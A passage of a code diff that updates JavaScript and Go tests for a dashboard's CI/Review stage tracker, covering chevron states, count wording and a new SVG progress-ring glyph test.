'CI green Β· all 2 required checks passed', false, 'done'], - ['skipped', 'CI skipped Β· check "build" skipped', false, 'pending'], + ['skipped', 'CI skipped Β· check "build" skipped', false, 'todo'], ]) { const cells = physicalTracks(livePR({ ci_activity: activity(state, caption, running) })); - assert.ok(cells.ci.includes('ham-activity-track ' + cls + ' ham-current'), state + ' β†’ ' + cls); + assert.ok(cells.ci.includes('ham-activity-track ' + cls + ' ham-current'), state + ' β†’ ' + cls + ': ' + cells.ci); assert.equal(cells.ci.includes('data-motion="active"'), running); - assert.match(cells.review, /pending ham-current[^]*data-activity-state="unknown"/); + // The stage's own track (review, 050) is active with words (#16599). + assert.match(cells.review, /active ham-current[^]*data-activity-state="unknown"/); } const admitted = physicalTracks(livePR({ stage: 80, ci_activity: activity('passing', 'CI green Β· all 2 required checks passed'), review_activity: activity('approved', 'Review approved') })); assert.doesNotMatch(admitted.ci + admitted.review, /ham-current|aria-current/); @@ -538,7 +555,8 @@ test('old-head or stale observations cannot fabricate running/completion, but do } if (mode === 'old-head') { assert.match(cells.review, /data-activity-state="unknown"/); - assert.match(cells.ci, /pending ham-current[^]*CI \?\/\? Β· no checks reported yet</, 'old-head evidence counts for nothing on this head'); + assert.match(cells.ci, /todo ham-current[^]*title="Current pipeline phase Β· CI: CI \?\/\? Β· no checks reported yet Β· /, 'old-head evidence counts for nothing on this head'); + assert.doesNotMatch(cells.ci, /no checks reported yet</, 'inactive CI is its icon alone (#16599)'); assert.doesNotMatch(cells.review, /ham-activity-track done/); } else { assert.match(cells.ci, /active ham-current[^]*CI \?\/\? Β· running</, mode + ': the last observed state still reads in words'); @@ -594,7 +612,10 @@ test('unknown tracks wear the canonical column glyph beside their caption, prese const rendered = track(item, kind, { state: 'active' }, false, now); const content = rendered.match(/aria-describedby="[^"]+">([^]*?)<span id="[^"]+" class="config-tooltip/)[1]; assert.match(content, kind === 'ci' ? /<svg [^]*data-icon="ci"/ : /<svg [^]*data-icon="50"/, 'CI and Review wear distinct glyphs'); - assert.equal(content.replace(/<[^>]*>/g, ''), kind === 'ci' ? 'CI ?/? Β· no checks reported yet' : 'Review Β· swarm requested', 'the count words ride beside the glyph, never a bare icon (#16484)'); + // #16599: at 050 the Review column is the stage's own track and carries + // its words; the inactive CI column is its glyph alone, words in the tooltip. + assert.equal(content.replace(/<[^>]*>/g, ''), kind === 'ci' ? '' : 'Review Β· queued', 'words ride only on the active chevron (#16599)'); + if (kind === 'ci') assert.match(rendered, /aria-label="[^"]*CI: CI \?\/\? Β· no checks reported yet Β· /, 'the inactive count words move to the tooltip'); assert.match(rendered, /role="tooltip">[^]*full precise reason/, 'the precise backend caption stays in the tooltip'); assert.match(content, /aria-label="Open current-head/); assert.match(rendered, /class="ham-chevron-info config-info" tabindex="0"/); @@ -653,7 +674,7 @@ const STAGE_TRACKER_MOTION_ACTIVE = 'active', STAGE_TRACKER_MOTION_STATIC = 'sta function stageTrackerSentinelInLane() { return false; } function stageTrackerActorKind() { return ''; } function stageTrackerActorTip() { return ''; } -` + fn(strip, 'stageTrackerWaitingOnPerson') + fn(strip, 'stageTrackerTrackRunning') + ` +` + trackConsts + '\n' + fn(strip, 'stageTrackerWaitingOnPerson') + fn(strip, 'stageTrackerTrackRunning') + fn(strip, 'stageTrackerWorkflowApprovalPending') + fn(strip, 'stageTrackerRingSvg') + fn(strip, 'stageTrackerStageTrack') + fn(strip, 'stageTrackerStalledTrack') + fn(strip, 'stageTrackerQueueAheadWord') + ` function stageTrackerMotion() { return 'active'; } function stageTrackerIcon(n, cls) { return '<svg class="' + cls + '"></svg>'; } ` + anchor + fn(row, 'stageTrackerSegments') + fn(strip, 'stageTrackerActivityTrackHtml') + fn(strip, 'stageTrackerStripItems'); @@ -690,9 +711,9 @@ test('stale activity is visibly unknown in the tooltip, never pulses, and still assert.match(html, /activity unknown Β· last observed reviewing/); assert.doesNotMatch(html, /data-motion/); assert.match(html, /data-display-state="unknown"/); - assert.match(html, /ham-activity-track active"[^]*ham-chevron-copy ham-track-state"><svg [^>]*><\/svg>Review 1\/5 Β· reviewer reviewing</, 'stale in-progress evidence keeps the lit fill and its count words'); + assert.match(html, /ham-activity-track active"[^]*ham-chevron-copy ham-track-state"><svg [^]*?<\/svg>Review 1\/5 Β· reviewer reviewing</, 'stale in-progress evidence keeps the lit fill and its count words'); item.review_activity = { ...activity('approved', 'Review approved'), perspectives_done: 5, perspectives_total: 5 }; - assert.match(track(item, 'review', {}, false, now + 300000), /ham-activity-track done"[^]*Review: Review 5\/5 approved Β· [^]*ham-track-verdict"><svg [^>]*><\/svg><\/span>/, 'an approval of this head stays done when stale: glyph alone, count words in the tooltip'); + assert.match(track(item, 'review', {}, false, now + 300000), /ham-activity-track done"[^]*Review: Review 5\/5 approved Β· [^]*ham-track-verdict"><svg [^]*?<\/svg><\/span>/, 'an approval of this head stays done when stale: glyph alone, count words in the tooltip'); }); test('current-head evidence links are accessible and never retained across a new head', () => { @@ -745,7 +766,7 @@ test('the backend detail sentence rides in the track tooltip, not on the chevron }); test('#16484: count grammar β€” CI passed/total and Review done/total across every state', () => { - const word = new Function(fn(strip, 'stageTrackerHiveOwnsRepair') + fn(strip, 'stageTrackerTrackWord') + ';return stageTrackerTrackWord;')(); + const word = new Function(trackConsts + '\n' + fn(strip, 'stageTrackerWorkflowApprovalPending') + fn(strip, 'stageTrackerQueueAheadWord') + fn(strip, 'stageTrackerHiveOwnsRepair') + fn(strip, 'stageTrackerTrackWord') + ';return stageTrackerTrackWord;')(); const ci = (state, extra = {}) => word({ head: 'h', ci_activity: { head: 'h', state, ...extra } }, 'ci', true); assert.equal(ci('passing', { checks_passed: 14, checks_total: 14 }), 'CI 14/14 passed'); assert.equal(ci('failing', { checks_passed: 11, checks_total: 14, checks_failed: 1, checks_failing: ['lint'] }), 'CI 11/14 Β· 1 failing (lint)'); @@ -775,11 +796,12 @@ test('#16484: count grammar β€” CI passed/total and Review done/total across eve for (const q of ['@clubanderson', 'ping @clubanderson, please decide.', 'ok @ClubAnderson?']) assert.equal(review('human_decision', {}, { decision_needed: { question: q } }), 'Review 3/5 Β· needs your sign-off', 'the viewer handle ends at punctuation or the end: ' + q); } finally { delete globalThis.window; } assert.equal(review('reviewing', { actor: 'reviewer-2' }), 'Review 3/5 Β· reviewer-2 reviewing'); - assert.equal(review('adjudicating', { actor: 'adjudicator' }), 'Review 3/5 Β· adjudicator reviewing'); + assert.equal(review('adjudicating', { actor: 'adjudicator' }), 'Review 3/5 Β· adjudicator adjudicating'); assert.equal(review('assigned', { actor: 'reviewer' }), 'Review 3/5 Β· reviewer queued'); assert.equal(review('assigned'), 'Review 3/5 Β· queued'); - assert.equal(review('unassigned', { perspectives_done: 0 }), 'Review 0/5 Β· swarm requested'); - assert.equal(review('unknown', { perspectives_done: 0 }), 'Review 0/5 Β· swarm requested'); + assert.equal(review('unassigned', { perspectives_done: 0 }), 'Review 0/5 Β· queued'); + assert.equal(review('unassigned', { perspectives_done: 0, queue_ahead: 3 }), 'Review 0/5 Β· queued, 3 ahead'); + assert.equal(review('unknown', { perspectives_done: 0 }), 'Review 0/5 Β· queued'); assert.equal(review('unknown', { perspectives_done: 0 }, { push: { state: 'pushed', sha: 'h', next: 're-review' } }), 'Review 0/5 Β· re-review pending (new head)'); assert.equal(review('unknown'), 'Review 3/5 Β· perspectives', 'partial verdicts with no aggregate verdict yet'); assert.equal(word({ head: 'h', review_activity: { head: 'h', state: 'approved' } }, 'review', true), 'Review approved', 'older servers without counts'); @@ -797,21 +819,30 @@ test('#16484: the three screenshot rows β€” both tracks lit with counts, swarm r ci_activity: fresh('running', { checks_passed: 9, checks_total: 14, active: true }), review_activity: fresh('unknown', { perspectives_done: 0, perspectives_total: 5 }) })); assert.equal(cls(cells.ci), 'active'); assert.equal(text(cells.ci), 'CI 9/14 Β· running'); assert.match(cells.ci, /data-motion="active"/); - assert.equal(cls(cells.review), 'pending', 'a pending re-review is words without motion (#16540)'); assert.equal(text(cells.review), 'Review 0/5 Β· re-review pending (new head)'); + // #16599: the pending re-review is not in motion and not the stage's own + // track (070) β†’ glyph alone, its words in the tooltip. + assert.equal(cls(cells.review), 'todo', 'a pending re-review is an inactive glyph (#16599)'); assert.equal(text(cells.review), ''); + assert.match(cells.review, /aria-label="[^"]*Review: Review 0\/5 Β· re-review pending \(new head\) Β· /); assert.doesNotMatch(cells.review, /data-motion/); assert.match(cells.review, /hive is waiting on CI for new head d3c0824/, 'the tooltip still says which track leads'); // #16491: review swarm requested, no bundle yet; CI shows its count. cells = physicalTracks(livePR({ head, stage: 50, display_column: 50, ci_activity: fresh('running', { checks_passed: 2, checks_total: 14 }), review_activity: fresh('unassigned', { perspectives_done: 0, perspectives_total: 5, blocker: 'no reviewer free' }) })); - assert.equal(cls(cells.review), 'pending'); assert.equal(text(cells.review), 'Review 0/5 Β· swarm requested'); + // #16599: at 050 the Review column is the stage's own track β†’ active with + // words even while only queued; CI runs beside it (two lit). + assert.equal(cls(cells.review), 'active'); assert.equal(text(cells.review), 'Review 0/5 Β· queued'); + assert.doesNotMatch(cells.review, /data-motion/, 'queued is lit but still'); assert.equal(cls(cells.ci), 'active'); assert.equal(text(cells.ci), 'CI 2/14 Β· running'); // #16268: CI failed native-queue-policy, review approved, held. cells = physicalTracks(livePR({ head, stage: 70, display_column: 50, modifiers: ['hold'], hold: { by: 'hanthor', pill: 'Held by @hanthor' }, ci_activity: fresh('failing', { checks_passed: 13, checks_total: 14, checks_failed: 1, checks_failing: ['native-queue-policy'], blocker: 'native-queue-policy' }), review_activity: fresh('approved', { perspectives_done: 5, perspectives_total: 5 }) })); - // Settled verdicts are the glyph alone; the count words ride in the tooltip. + // Nothing runs and the row sits in the CI/Review column, so the failing + // CI is the stalled blocker: lit still (amber-muted), words on (#16599); + // the settled approval is the glyph alone, its count words in the tooltip. const tip = cell => cell.match(/ aria-label="([^"]*)"/)[1]; - assert.equal(cls(cells.ci), 'failing'); assert.equal(text(cells.ci), ''); assert.match(cells.ci, /data-verdict="fail"/); + assert.equal(cls(cells.ci), 'active'); assert.match(cells.ci, /ham-activity-track active ham-stalled/); assert.doesNotMatch(cells.ci, /data-motion/); + assert.equal(text(cells.ci), 'CI 13/14 Β· 1 failing (native-queue-policy)'); assert.match(cells.ci, /data-verdict="fail"/); assert.match(tip(cells.ci), /^(?:Current pipeline phase Β· )?CI: CI 13\/14 Β· 1 failing \(native-queue-policy\) Β· /); assert.equal(cls(cells.review), 'done'); assert.equal(text(cells.review), ''); assert.match(cells.review, /data-verdict="pass"/); assert.match(tip(cells.review), /^(?:Current pipeline phase Β· )?Review: Review 5\/5 approved Β· /); diff --git a/src/pkg/dashboard/stage_tracker_build.go b/src/pkg/dashboard/stage_tracker_build.go index efe9cbee22..192e0a0146 100644 --- a/src/pkg/dashboard/stage_tracker_build.go +++ b/src/pkg/dashboard/stage_tracker_build.go @@ -474,6 +474,7 @@ func (s *Server) buildStageTracker(status *StatusPayload, store *stagelabels.Sto } it.ReviewActivity = stageTrackerReviewActivity(activityPR, bundle, currentAggregate, dispatchState, status, now) stageTrackerCountPerspectives(it.ReviewActivity, activityPR, bundle, currentAggregate, dispatchState, stageTrackerRepoQualifier(status), expectedPerspectives) + stageTrackerReviewPendingState(it.ReviewActivity, it.Stage, it.StageSince) stageTrackerLeadApproveForSignOff(&it) if stageTrackerClaimantStage(it.Kind, it.Stage) { var worker *stageTrackerWorker @@ -549,6 +550,7 @@ func (s *Server) buildStageTracker(status *StatusPayload, store *stagelabels.Sto } it.ReviewActivity = stageTrackerReviewActivity(currentPR, bundle, currentAggregate, dispatchState, status, now) stageTrackerCountPerspectives(it.ReviewActivity, currentPR, bundle, currentAggregate, dispatchState, stageTrackerRepoQualifier(status), expectedPerspectives) + stageTrackerReviewPendingState(it.ReviewActivity, it.Stage, it.StageSince) } activityItem.CIActivity, activityItem.ReviewActivity = it.CIActivity, it.ReviewActivity stageTrackerApplyCodeActivity(&activityItem, dispatchState, status, now) diff --git a/src/pkg/dashboard/stage_tracker_motion_test.go b/src/pkg/dashboard/stage_tracker_motion_test.go index ebcc249adc..4303ddbc9a 100644 --- a/src/pkg/dashboard/stage_tracker_motion_test.go +++ b/src/pkg/dashboard/stage_tracker_motion_test.go @@ -1,7 +1,9 @@ package dashboard import ( + "os" "os/exec" + "path/filepath" "strings" "testing" ) @@ -695,7 +697,13 @@ assert.deepStrictEqual(animated, [[claimed, review, 'wash'], [review, claimed, ' // a re-render after clicks picks up where the preview left off assert.strictEqual(activeShort(stageTrackerMotionSectionHtml('wash', stages)), 'CI + Review'); ` - cmd := exec.Command(node, "-e", script) + // The lifted strip exceeds Linux's single-argument limit, so the script + // goes through a file rather than -e. + path := filepath.Join(t.TempDir(), "motion_preview_sample.js") + if err := os.WriteFile(path, []byte(script), 0o600); err != nil { + t.Fatal(err) + } + cmd := exec.Command(node, path) if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("node motion preview sample fixture failed: %v\n%s", err, out) } diff --git a/src/pkg/dashboard/stage_tracker_remediation_chevron.test.js b/src/pkg/dashboard/stage_tracker_remediation_chevron.test.js index 1a914781e8..9775682398 100644 --- a/src/pkg/dashboard/stage_tracker_remediation_chevron.test.js +++ b/src/pkg/dashboard/stage_tracker_remediation_chevron.test.js @@ -27,7 +27,14 @@ const STAGE_TRACKER_NEEDS_DECISION = 85, STAGE_TRACKER_ISSUE_NEEDS_DECISION = 45 const STAGE_TRACKER_ISSUE_DECISION_COLUMN = 10, STAGE_TRACKER_TRIAGE_NEEDED = 15, STAGE_TRACKER_POSSIBLY_EXISTS = 17; const STAGE_TRACKER_PRE_MERGE_SOAK = 95; `; -const track = new Function('esc', 'stageTrackerIcon', fn(strip, 'stageTrackerTrackLead') + fn(strip, 'stageTrackerWaitingOnPerson') + fn(strip, 'stageTrackerTrackRunning') + fn(strip, 'stageTrackerHiveOwnsRepair') + fn(strip, 'stageTrackerTrackWord') + fn(strip, 'stageTrackerActivityTrackHtml') + ';return stageTrackerActivityTrackHtml;')(esc, (n, cls) => `<svg class="${cls}" data-icon="${n}"></svg>`); +function constLine(source, name) { + const match = source.match(new RegExp('const ' + name + ' = [^\\n]*;')); + assert.ok(match, name); + return match[0]; +} +const trackConsts = ['STAGE_TRACKER_WORKFLOW_APPROVAL_BLOCKER', 'STAGE_TRACKER_WORKFLOW_APPROVAL_TIP', 'STAGE_TRACKER_RING_SEGMENT_GAP_MAX', 'STAGE_TRACKER_RING_RADIUS', 'STAGE_TRACKER_RING_GAP_DEG'].map(name => constLine(strip, name)).join('\n'); +const trackFns = ['stageTrackerTrackLead', 'stageTrackerWaitingOnPerson', 'stageTrackerTrackRunning', 'stageTrackerWorkflowApprovalPending', 'stageTrackerRingSvg', 'stageTrackerStalledTrack', 'stageTrackerQueueAheadWord', 'stageTrackerStageTrack', 'stageTrackerHiveOwnsRepair', 'stageTrackerTrackWord', 'stageTrackerActivityTrackHtml'].map(name => fn(strip, name)).join('\n'); +const track = new Function('esc', 'stageTrackerIcon', trackConsts + '\n' + trackFns + ';return stageTrackerActivityTrackHtml;')(esc, (n, cls) => `<svg class="${cls}" data-icon="${n}"></svg>`); const getAnchor = new Function(globals + anchor + ';return stageTrackerAnchor;')(); const segments = new Function('stageTrackerAnchor', globals + ` const STAGE_TRACKER_ACTIVE_WORD = {70: 'Fixing'}; @@ -44,7 +51,7 @@ function stageTrackerActorKind() { return ''; } function stageTrackerActorTip() { return ''; } function stageTrackerMotion() { return STAGE_TRACKER_MOTION_STATIC; } function stageTrackerIcon(n) { return '<svg data-icon="' + n + '"></svg>'; } -` + fn(strip, 'stageTrackerWaitingOnPerson') + fn(strip, 'stageTrackerTrackRunning') + fn(strip, 'stageTrackerStripItems') + ';return stageTrackerStripItems;')(esc, segments, track); +` + fn(strip, 'stageTrackerWaitingOnPerson') + fn(strip, 'stageTrackerTrackRunning') + fn(strip, 'stageTrackerStageTrack') + fn(strip, 'stageTrackerStalledTrack') + fn(strip, 'stageTrackerStripItems') + ';return stageTrackerStripItems;')(esc, segments, track); const stages = [{ number: 70, branch_from: 50 }, { number: 71, branch_from: 50 }, { number: 72, branch_from: 50 }]; const now = Date.parse('2026-11-04T02:45:00Z'); @@ -111,23 +118,24 @@ test('adopted row: a complete review verdict is done-style, and a human-decision const review = cells(redPR({ stage: 74, display_column: 30, code_activity: adopted, review_activity: decision }))[5]; assert.match(review, /class="ham-seg ham-activity-track done decided"/, 'done-style, muted: not the active fill'); assert.doesNotMatch(review, /ham-activity-track active|data-motion="active"/); - assert.match(review, /Review 5\/5 Β· changes requested</); - assert.doesNotMatch(review, /awaiting human/); + // #16599: a settled verdict is the glyph alone; its words ride in the tooltip. + assert.match(review, /Review: Review 5\/5 Β· changes requested Β· /); + assert.doesNotMatch(review, /changes requested<|awaiting human/); const parked = cells(redPR({ stage: 85, display_column: 85, needs_human: true, review_activity: decision }))[5]; assert.match(parked, /class="ham-seg ham-activity-track done decided"/, 'parked on a person is settled, still not amber'); - assert.match(parked, /Review 5\/5 Β· needs owner sign-off</, 'genuinely parked: the sign-off word stands'); + assert.match(parked, /Review: Review 5\/5 Β· needs owner sign-off Β· /, 'genuinely parked: the sign-off word stands (in the tooltip)'); const changes = cells(redPR({ stage: 74, display_column: 30, code_activity: adopted, review_activity: { ...decision, state: 'changes_requested' } }))[5]; // A settled verdict is the glyph alone in the pass / fail colour; its // count words ride in the tooltip. assert.match(changes, /class="ham-seg ham-activity-track failing"[^>]*data-verdict="fail"/); assert.match(changes, /Review: Review 5\/5 Β· changes requested Β· /); - assert.match(changes, /ham-track-verdict"><svg [^>]*><\/svg><\/span>/); + assert.match(changes, /ham-track-verdict"><svg [^]*?<\/svg><\/span>/); const approved = cells(redPR({ stage: 74, display_column: 30, code_activity: adopted, review_activity: { ...decision, state: 'approved' } }))[5]; assert.match(approved, /class="ham-seg ham-activity-track done"[^>]*data-verdict="pass"/); assert.match(approved, /Review: Review 5\/5 approved Β· /); - assert.match(approved, /ham-track-verdict"><svg [^>]*><\/svg><\/span>/); + assert.match(approved, /ham-track-verdict"><svg [^]*?<\/svg><\/span>/); const ci = cells(redPR({ stage: 74, display_column: 30, code_activity: adopted, review_activity: decision }))[4]; assert.match(ci, /class="ham-seg ham-activity-track done"/, '11/11 passed is done-style'); }); @@ -157,8 +165,11 @@ test('#16509 row: adopted, CI 7/11 unreported, review 5/5 decided β†’ one amber review_activity: { head: 'abc1234def', state: 'human_decision', caption: 'Review findings Β· human decision', perspectives_done: 5, perspectives_total: 5, source: 'verified-review-bundle', observed_at: seen } }); const c = cells(item); assert.match(c[3], /class="ham-seg active detoured"/, 'the stage chevron is the one lit chevron'); - assert.match(c[4], /class="ham-seg ham-activity-track pending"/, 'unreported checks are not motion'); - assert.match(c[4], /CI 7\/11 Β· test not reported</); + // #16599: unreported checks are not motion and not the stage's track β†’ + // neutral glyph alone, count words in the tooltip. + assert.match(c[4], /class="ham-seg ham-activity-track todo"/, 'unreported checks are not motion'); + assert.match(c[4], /title="CI: CI 7\/11 Β· test not reported Β· /); + assert.doesNotMatch(c[4], /test not reported</); assert.match(c[5], /class="ham-seg ham-activity-track done decided"/); assert.equal(litCount(c.join('')), 1); }); @@ -169,12 +180,13 @@ test('#16268 row: waiting for the contributor, CI 7/11 unreported, review approv const approved = { head: 'abc1234def', state: 'approved', caption: 'Review approved', perspectives_done: 5, perspectives_total: 5, source: 'verified-review-bundle', observed_at: seen }; const c = cells(redPR({ stage: 71, display_column: 30, author: 'hanthor', author_kind: 'human', code_activity: owner, ci_activity: ci, review_activity: approved })); assert.match(c[3], /class="ham-seg active detoured"/); - assert.match(c[4], /class="ham-seg ham-activity-track pending"[^]*CI 7\/11 Β· test not reported</); - assert.match(c[5], /class="ham-seg ham-activity-track done"[^]*Review: Review 5\/5 approved Β· [^]*ham-track-verdict"><svg [^>]*><\/svg><\/span>/); + assert.match(c[4], /class="ham-seg ham-activity-track todo"[^>]*title="CI: CI 7\/11 Β· test not reported Β· /); + assert.doesNotMatch(c[4], /test not reported</, 'waiting on a person: CI is its glyph alone (#16599)'); + assert.match(c[5], /class="ham-seg ham-activity-track done"[^]*Review: Review 5\/5 approved Β· [^]*ham-track-verdict"><svg [^]*?<\/svg><\/span>/); assert.equal(litCount(c.join('')), 1); // Even a queued check does not light CI while the row waits on a person. const queued = cells(redPR({ stage: 71, display_column: 30, author: 'hanthor', author_kind: 'human', code_activity: owner, ci_activity: { ...ci, state: 'queued' }, review_activity: approved })); - assert.match(queued[4], /class="ham-seg ham-activity-track pending"/); + assert.match(queued[4], /class="ham-seg ham-activity-track todo"/); assert.equal(litCount(queued.join('')), 1); }); @@ -203,14 +215,17 @@ test('#16456 row: PR in progress with changes requested β†’ the stage chevron is ci_activity: { head: 'abc1234def', state: 'passing', caption: 'CI green', checks_passed: 11, checks_total: 11, source: 'checks', observed_at: seen }, review_activity: { head: 'abc1234def', state: 'changes_requested', caption: 'Review findings', perspectives_done: 5, perspectives_total: 5, source: 'verified-review-bundle', observed_at: seen, since: red } })); assert.match(c[3], /class="ham-seg active ham-remediation-unassigned detoured"/); - assert.match(c[4], /class="ham-seg ham-activity-track done"[^>]*data-verdict="pass"[^]*CI: CI 11\/11 passed Β· [^]*ham-track-verdict"><svg [^>]*><\/svg><\/span>/); - assert.match(c[5], /class="ham-seg ham-activity-track failing"[^>]*data-verdict="fail"[^]*Review: Review 5\/5 Β· changes requested Β· [^]*ham-track-verdict"><svg [^>]*><\/svg><\/span>/); + assert.match(c[4], /class="ham-seg ham-activity-track done"[^>]*data-verdict="pass"[^]*CI: CI 11\/11 passed Β· [^]*ham-track-verdict"><svg [^]*?<\/svg><\/span>/); + assert.match(c[4], /ham-ring ham-ring-pass[^>]*data-ring-done="11"/, 'the pass ring is the icon'); + assert.match(c[5], /class="ham-seg ham-activity-track failing"[^>]*data-verdict="fail"[^]*Review: Review 5\/5 Β· changes requested Β· [^]*ham-track-verdict"><svg [^]*?<\/svg><\/span>/); + assert.match(c[5], /ham-ring ham-ring-fail/, 'the finding ring is red'); assert.equal(litCount(c.join('')), 1, 'done / failing tracks are text-colour variants, not fills'); }); -test('#16539 shape: a queued swarm reads 0/5, pending, not filled', () => { +test('#16539 shape: a queued swarm reads 0/5 and, as the stage\'s own track, is lit still (#16599)', () => { const c = cells(redPR({ display_column: 50, stage: 50, review_activity: { head: 'abc1234def', state: 'unassigned', caption: 'Review queued Β· unassigned', blocker: 'no-free-reviewer', perspectives_done: 0, perspectives_total: 5, source: 'review-dispatch-wait', observed_at: seen } })); - assert.match(c[5], /class="ham-seg ham-activity-track pending ham-current"[^]*Review 0\/5 Β· swarm requested</); - assert.equal(litCount(c.join('')), 0, 'CI passed and a queued swarm: nothing runs, nothing is filled'); + assert.match(c[5], /class="ham-seg ham-activity-track active ham-current"[^]*Review 0\/5 Β· queued</); + assert.doesNotMatch(c[5], /data-motion=/, 'queued is lit but still'); + assert.equal(litCount(c.join('')), 1, 'the Review column is where the item is: the one lit chevron'); }); diff --git a/src/pkg/dashboard/stage_tracker_ring_test.go b/src/pkg/dashboard/stage_tracker_ring_test.go new file mode 100644 index 0000000000..01ce2857cb --- /dev/null +++ b/src/pkg/dashboard/stage_tracker_ring_test.go @@ -0,0 +1,58 @@ +package dashboard + +import ( + "strings" + "testing" +) + +// hivecommons/hive#16599: the CI / Review glyph is a tiny ring of steps. +// Segmented up to 16 steps, a continuous arc beyond; filled clockwise +// done β†’ failed β†’ rest; the next step pulses only while running; the +// a11y label names the count; no raw colour anywhere in the SVG. +func TestStageTrackerRingSvg(t *testing.T) { + html := indexHTML(t) + runStageTrackerRowActionsScript(t, strings.Join([]string{ + "const assert = require('assert');", + jsFunc(t, html, "esc"), + jsConstLine(t, html, "STAGE_TRACKER_RING_SEGMENT_GAP_MAX"), + jsConstLine(t, html, "STAGE_TRACKER_RING_RADIUS"), + jsConstLine(t, html, "STAGE_TRACKER_RING_GAP_DEG"), + jsFunc(t, html, "stageTrackerRingSvg"), + }, "\n")+` +const count = (s, re) => (s.match(re) || []).length; +const noColour = (s) => assert.ok(!/#[0-9a-f]{3,8}\b|rgb\(|stroke="(?!none)|fill="(?!none)/i.test(s), 'raw colour in ring: ' + s); +// queued: 0/5 done, nothing pulses, five muted steps +let r = stageTrackerRingSvg(0, 5, 0, 'unassigned'); +noColour(r); +assert.ok(r.startsWith('<svg class="ham-ico ham-ring ham-ring-pass" '), r); +assert.strictEqual(count(r, /ham-ring-seg/g), 5); +assert.strictEqual(count(r, /ham-ring-rest/g), 5); +assert.strictEqual(count(r, /ham-ring-pulse/g), 0, 'queued does not pulse'); +assert.ok(r.includes('role="img" aria-label="0 of 5 done"') && r.includes('data-ring-total="5" data-ring-done="0" data-ring-failed="0"'), r); +// working: 7/11 passed, 2 failed, running β†’ segments 0..6 done, 7..8 failed, 9 pulses +r = stageTrackerRingSvg(7, 11, 2, 'running', 'CI: CI 7/11 Β· running'); +noColour(r); +assert.ok(r.includes('ham-ring-live ham-ring-running'), r); +assert.strictEqual(count(r, /ham-ring-done/g), 7); +assert.strictEqual(count(r, /ham-ring-failed/g), 2); +assert.strictEqual(count(r, /ham-ring-rest/g), 2); +assert.strictEqual(count(r, /ham-ring-pulse/g), 1); +assert.ok(/ham-ring-rest ham-ring-pulse/.test(r), 'the next (10th) step pulses: ' + r); +assert.ok(r.includes('aria-label="CI: CI 7/11 Β· running"'), r); +// pushed / settled: 11/11 passed β†’ all done, no pulse; 5/5 changes requested wears the fail tone +r = stageTrackerRingSvg(11, 11, 0, 'passing'); +assert.strictEqual(count(r, /ham-ring-done/g), 11); +assert.strictEqual(count(r, /ham-ring-pulse|ham-ring-rest/g), 0, r); +r = stageTrackerRingSvg(5, 5, 0, 'changes_requested'); +assert.ok(r.includes('ham-ring-fail') && count(r, /ham-ring-done/g) === 5, r); +// a single step is a full circle; above 16 steps the ring is continuous arcs +r = stageTrackerRingSvg(1, 1, 0, 'approved'); +assert.ok(/<circle class="ham-ring-seg ham-ring-done"/.test(r), r); +r = stageTrackerRingSvg(10, 40, 3, 'running'); +assert.ok(count(r, /<path/g) <= 4 && r.includes('ham-ring-track') && r.includes('ham-ring-pulse') && r.includes('data-ring-done="10" data-ring-failed="3"'), r); +// out-of-range counts clamp; no total draws the empty track +r = stageTrackerRingSvg(9, 5, 4, 'running'); +assert.ok(r.includes('data-ring-done="5" data-ring-failed="0"'), r); +assert.ok(stageTrackerRingSvg(0, 0, 0, 'unknown').includes('ham-ring-track') && stageTrackerRingSvg(0, 0, 0, 'unknown').includes('aria-label="no steps"')); +`) +} diff --git a/src/pkg/dashboard/stage_tracker_ui_prelude_test.go b/src/pkg/dashboard/stage_tracker_ui_prelude_test.go index 9d2356f051..e5ac270858 100644 --- a/src/pkg/dashboard/stage_tracker_ui_prelude_test.go +++ b/src/pkg/dashboard/stage_tracker_ui_prelude_test.go @@ -97,6 +97,16 @@ func stageTrackerRowsPreludeJS(t *testing.T, html string) string { jsFunc(t, html, "stageTrackerWaitingOnPerson"), jsFunc(t, html, "stageTrackerTrackRunning"), jsFunc(t, html, "stageTrackerHiveOwnsRepair"), + jsConstLine(t, html, "STAGE_TRACKER_WORKFLOW_APPROVAL_BLOCKER"), + jsConstLine(t, html, "STAGE_TRACKER_WORKFLOW_APPROVAL_TIP"), + jsFunc(t, html, "stageTrackerWorkflowApprovalPending"), + jsConstLine(t, html, "STAGE_TRACKER_RING_SEGMENT_GAP_MAX"), + jsConstLine(t, html, "STAGE_TRACKER_RING_RADIUS"), + jsConstLine(t, html, "STAGE_TRACKER_RING_GAP_DEG"), + jsFunc(t, html, "stageTrackerRingSvg"), + jsFunc(t, html, "stageTrackerStalledTrack"), + jsFunc(t, html, "stageTrackerQueueAheadWord"), + jsFunc(t, html, "stageTrackerStageTrack"), jsFunc(t, html, "stageTrackerTrackWord"), jsFunc(t, html, "stageTrackerActivityTrackHtml"), jsFunc(t, html, "stageTrackerStripItems"), @@ -202,7 +212,22 @@ const rebaseCoherent = (it) => { if ((it.modifiers || []).includes('needs-rebase // the stage chevron's active fill (a settled-current one is not amber) or a // CI / Review track in the active class. Checked on every fixture rendered. const litChevrons = (html) => (html.match(/class="ham-seg active(?! [^"]*ham-settled-current)|class="ham-seg ham-activity-track active\b/g) || []).length; -const atMostTwoLit = (item, row) => row.split('aria-label="Pipeline progress"').slice(1).forEach((s, i) => assert.ok(litChevrons(s) <= 2, 'fixture ' + (item.repo || '') + '#' + item.number + ' strip ' + i + ' lights ' + litChevrons(s) + ' chevrons: ' + s)); +// hivecommons/hive#16599 (canonical): 1 ≀ active ≀ 2 β€” the stage column is +// always active (a settled-current one counts as filled), a track only while +// it runs or is the stage's own / stalled track; and words ride ONLY active +// chevrons β€” an inactive CI / Review track is its icon alone. +const filledChevrons = (html) => litChevrons(html) + (html.match(/class="ham-seg active [^"]*ham-settled-current/g) || []).length; +const trackCopyText = (li) => ((/<span class="ham-chevron-copy[^"]*">([\s\S]*?)<\/span>(?:<svg|<span id=)/.exec(li) || [])[1] || '').replace(/<svg[\s\S]*?<\/svg>/g, '').replace(/<[^>]+>/g, '').trim(); +const wordsOnlyWhenActive = (item, s) => Array.from(s.matchAll(/<li class="ham-seg ham-activity-track ([^"]*)"[\s\S]*?<\/li>/g)).forEach(m => { + const words = trackCopyText(m[0]); + if (/\bactive\b/.test(m[1])) assert.ok(words, 'fixture #' + item.number + ' active track without words: ' + m[0]); + else assert.strictEqual(words, '', 'fixture #' + item.number + ' inactive track carries words: ' + m[0]); +}); +const atMostTwoLit = (item, row) => row.split('aria-label="Pipeline progress"').slice(1).forEach((s, i) => { + assert.ok(litChevrons(s) <= 2, 'fixture ' + (item.repo || '') + '#' + item.number + ' 